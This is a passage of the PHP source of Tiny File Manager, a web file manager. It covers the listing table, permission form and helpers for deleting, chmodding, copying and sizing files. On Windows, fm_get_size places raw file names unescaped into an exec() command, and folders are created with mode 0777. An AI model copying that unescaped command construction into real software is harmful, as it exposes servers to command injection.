                            <td><label><input type="checkbox" name="uw" value="1" <?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1" <?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1" <?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1" <?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1" <?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1" <?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// --- TINYFILEMANAGER MAIN ---
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

// show alert messages
fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm" id="main-table" data-bs-theme="<?php echo FM_THEME; ?>">
            <thead class="thead-white">
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <th style="width:3%" class="custom-checkbox-header">
                            <div class="custom-control custom-checkbox">
                                <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                                <label class="custom-control-label" for="js-select-all-items"></label>
                            </div>
                        </th><?php endif; ?>
                    <th><?php echo lng('Name') ?></th>
                    <th><?php echo lng('Size') ?></th>
                    <th><?php echo lng('Modified') ?></th>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <th><?php echo lng('Perms') ?></th>
                        <th><?php echo lng('Owner') ?></th><?php endif; ?>
                    <th><?php echo lng('Actions') ?></th>
                </tr>
            </thead>
            <?php
            // link to parent folder
            if ($parent !== false) {
            ?>
                <tr><?php if (!FM_READONLY): ?>
                        <td class="nosort"></td><?php endif; ?>
                    <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
            <?php
            }
            $ii = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = "";
                $filesize = lng('Folder');
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                $owner = array('name' => '?'); 
                $group = array('name' => '?');
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    try {
                        $owner_id = fileowner($path . '/' . $f);
                        if ($owner_id != 0) {
                            $owner_info = posix_getpwuid($owner_id);
                            if ($owner_info) {
                                $owner =  $owner_info;
                            }
                        }
                        $group_id = filegroup($path . '/' . $f);
                        $group_info = posix_getgrgid($group_id);
                        if ($group_info) {
                            $group =  $group_info;
                        }
                    } catch (Exception $e) {
                        error_log("exception:" . $e->getMessage());
                    }
                }
            ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                            <div class="custom-control custom-checkbox">
                                <input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                                <label class="custom-control-label" for="<?php echo $ii ?>"></label>
                            </div>
                        </td>
                    <?php endif; ?>
                    <td data-sort=<?php echo fm_convert_win(fm_enc($f)) ?>>
                        <div class="filename">
                            <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?></a>
                            <?php echo ($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-order="a-<?php echo $date_sorting; ?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td>
                            <?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td>
                            <?php echo $owner['name'] . ':' . $group['name'] ?>
                        </td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete') . ' ' . lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
            <?php
                flush();
                $ii++;
            }
            $ik = 8002;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                $owner = array('name' => '?'); 
                $group = array('name' => '?');
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    try {
                        $owner_id = fileowner($path . '/' . $f);
                        if ($owner_id != 0) {
                            $owner_info = posix_getpwuid($owner_id);
                            if ($owner_info) {
                                $owner =  $owner_info;
                            }
                        }
                        $group_id = filegroup($path . '/' . $f);
                        $group_info = posix_getgrgid($group_id);
                        if ($group_info) {
                            $group =  $group_info;
                        }
                    } catch (Exception $e) {
                        error_log("exception:" . $e->getMessage());
                    }
                }
            ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                            <div class="custom-control custom-checkbox">
                                <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                                <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                            </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_enc($f) ?>>
                        <div class="filename">
                            <?php
                            if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
                                <?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fm_enc($f) ?>">
                                <?php else: ?>
                                    <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                                    <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
                                    </a>
                                    <?php echo ($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                            <?php echo $filesize; ?>
                        </span></td>
                    <td data-order="b-<?php echo $date_sorting; ?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete') . ' ' . lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                                href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
            <?php
                flush();
                $ik++;
            }

            if (empty($folders) && empty($files)) { ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
                    </tr>
                </tfoot>
            <?php
            } else { ?>
                <tfoot>
                    <tr>
                        <td class="gray fs-7" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? (FM_READONLY ? '6' : '7') : (FM_READONLY ? '4' : '5') ?>">
                            <?php echo lng('FullSize') . ': <span class="badge text-bg-light border-radius-0">' . fm_get_filesize($all_files_size) . '</span>' ?>
                            <?php echo lng('File') . ': <span class="badge text-bg-light border-radius-0">' . $num_files . '</span>' ?>
                            <?php echo lng('Folder') . ': <span class="badge text-bg-light border-radius-0">' . $num_folders . '</span>' ?>
                        </td>
                    </tr>
                </tfoot>
            <?php } ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
            <div class="col-xs-12 col-sm-9">
                <div class="btn-group flex-wrap" data-toggle="buttons" role="toolbar">
                    <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a>
                    <a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a>
                    <a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a>
                    <input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a>
                    <input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a>
                    <input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a>
                    <input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a>
                </div>
            </div>
            <div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>
</form>

<?php
fm_show_footer();

// --- END HTML ---

// Functions

/**
 * It prints the css/js files into html
 * @param key The key of the external file to print.
 */
function print_external($key)
{
    global $external;

    if (!array_key_exists($key, $external)) {
        // throw new Exception('Key missing in external: ' . key);
        echo "<!-- EXTERNAL: MISSING KEY $key -->";
        return;
    }

    echo "$external[$key]";
}

/**
 * Verify CSRF TOKEN and remove after certified
 * @param string $token
 * @return bool
 */
function verifyToken($token)
{
    if (hash_equals($_SESSION['token'], $token)) {
        return true;
    }
    return false;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}

/**
 * Recursive chmod
 * @param string $path
 * @param int $filemode
 * @param int $dirmode
 * @return bool
 * @todo Will use in mass chmod
 */
function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}

/**
 * Check the file extension which is allowed or not
 * @param string $filename
 * @return bool
 */
function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}

/**
 * Safely rename
 * @param string $old
 * @param string $new
 * @return bool|null
 */
function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if (!is_dir($old)) {
        if (!$isFileAllowed) return false;
    }

    return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;
}

/**
 * Copy file or folder (recursively).
 * @param string $path
 * @param string $dest
 * @param bool $upd Update files
 * @param bool $force Create folder with same names instead file
 * @return bool
 */
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (!is_dir($path) && !is_file($path)) {
        return false;
    }

    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }

        $objects = array_diff(scandir($path), ['.', '..']);

        foreach ($objects as $file) {
            if (!fm_rcopy("$path/$file", "$dest/$file", $upd, $force)) {
                return false;
            }
        }

        return true;
    }

    // Handle file copying
    return fm_copy($path, $dest, $upd);
}


/**
 * Safely create folder
 * @param string $dir
 * @param bool $force
 * @return bool
 */
function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}

/**
 * Safely copy file
 * @param string $f1
 * @param string $f2
 * @param bool $upd Indicates if file should be updated with new content
 * @return bool
 */
function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 && $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}

/**
 * Get mime type
 * @param string $file_path
 * @return mixed|string
 */
function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}

/**
 * HTTP Redirect
 * @param string $url
 * @param int $code
 */
function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}

/**
 * Path traversal prevention and clean the url
 * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
 * @param $path
 * @return string
 */
function get_absolute_path($path)
{
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}

/**
 * Clean path
 * @param string $path
 * @return string
 */
function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}

/**
 * Get parent path
 * @param string $path
 * @return bool|string
 */
function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

function fm_get_display_path($file_path)
{
    global $path_display_mode, $root_path, $root_url;
    switch ($path_display_mode) {
        case 'relative':
            return array(
                'label' => 'Path',
                'path' => fm_enc(fm_convert_win(str_replace($root_path, '', $file_path)))
            );
        case 'host':
            $relative_path = str_replace($root_path, '', $file_path);
            return array(
                'label' => 'Host Path',
                'path' => fm_enc(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
            );
        case 'full':
        default:
            return array(
                'label' => 'Full Path',
                'path' => fm_enc(fm_convert_win($file_path))
            );
    }
}

/**
 * Check file is in exclude list
 * @param string $name The name of the file/folder
 * @param string $path The full path of the file/folder
 * @return bool
 */
function fm_is_exclude_items($name, $path)
{
    $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }

    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($name, $exclude_items) && !in_array("*.$ext", $exclude_items) && !in_array($path, $exclude_items)) {
        return true;
    }
    return false;
}

/**
 * get language translations from json file
 * @param int $tr
 * @return array
 */
function fm_get_translations($tr)
{
    try {
        $content = @file_get_contents('translation.json');
        if ($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value) {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }
    } catch (Exception $e) {
        echo $e;
    }
}

/**
 * @param string $file
 * Recover all file sizes larger than > 2GB.
 * Works on php 32bits and 64bits and supports linux
 * @return int|string
 */
function fm_get_size($file)
{
    static $iswin = null;
    static $isdarwin = null;
    static $exec_works = null;

    // Set static variables once
    if ($iswin === null) {
        $iswin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
        $isdarwin = strtoupper(PHP_OS) === 'DARWIN';
        $exec_works = function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') === 'EXEC';
    }

    // Attempt shell command if exec is available
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = $iswin ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);

        if (!empty($output) && ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // Attempt Windows COM interface for Windows systems
    if ($iswin && class_exists('COM')) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile(realpath($file));
            if (ctype_digit($size = $f->Size)) {
                return $size;
            }
        } catch (Exception $e) {
            // COM failed, fallback to filesize
        }
    }

    // Default to PHP's filesize function
    return filesize($file);
}


/**
 * Get nice filesize
 * @param int $size
 * @return string
 */
function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = ($size > 0) ? floor(log($size, 1024)) : 0;
    $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}

/**
 * Get info about zip archive
 * @param string $path
 * @return array|bool
 */
function fm_get_zif_info($path, $ext)
{
    if ($ext == 'zip' && function_exists('zip_open')) {
        $arch = @zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = @zip_read($arch)) {
                $zip_name = @zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => @zip_entry_filesize($zip_entry),
                    'compressed_size' => @zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                    //'compression_method' => zip_entry_compressionmethod($zip_entry),
                );
            }
            @zip_close($arch);
            return $filenames;
        }
    } elseif ($ext == 'tar' && class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach (new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("phar://" . $path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}

/**
 * Encode html entities
 * @param string $text
 * @return string
 */
function fm_enc($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

/**
 * Prevent XSS attacks
 * @param string $text
 * @return string
 */
function fm_isvalid_filename($text)
{
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}

/**
 * Save message in session
 * @param string $msg
 * @param string $status
 */
function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[FM_SESSION_ID]['message'] = $msg;
    $_SESSION[FM_SESSION_ID]['status'] = $status;
}

/**
 * Check if string is in UTF-8
 * @param string $string
 * @return int
 */
function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}

/**
 * Convert file name to UTF-8 in Windows
 * @param string $filename
 * @return string
 */
function fm_convert_win($filename)
{
    if (FM_IS_WIN && function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}

/**
 * @param $obj
 * @return array
 */
function fm_object_to_array($obj)
{
    if (!is_object($obj) && !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}

/**
 * Get CSS classname for file
 * @param string $path
 * @return string
 */
function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'webp':
        case 'avif':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'ts':
        case 'jsx':
        case 'tsx':
        case 'hbs':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'rs':
        case 'map':
        case 'lock':
        case 'dtd':
        case 'ps1':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
        case 'yaml':
        case 'yml':
        case 'toml':
        case 'tmp':
        case 'top':
        case 'bot':
        case 'dat':
        case 'bak':
        case 'htpasswd':
        case 'pl':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'bz2':
        case 'tbz2':
        case 'tbz':
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tgz':
        case 'tar':
        case '7z':
        case 'xz':
        case 'txz':
        case 'zst':
        case 'tzst':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
        case 'xspf':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
        case 'webm':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
        case 'swp':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}

/**
 * Get image files extensions
 * @return array
 */
function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}

/**
 * Get video files extensions
 * @return array
 */
function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}

/**
 * Get audio files extensions
 * @return array
 */
function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}

/**
 * Get text file extensions
 * @return array
 */
function fm_get_text_exts()
{
    return array(
        'txt',
        'css',
        'ini',
        'conf',
        'log',
        'htaccess',
        'passwd',
        'ftpquota',
        'sql',
        'js',
        'ts',
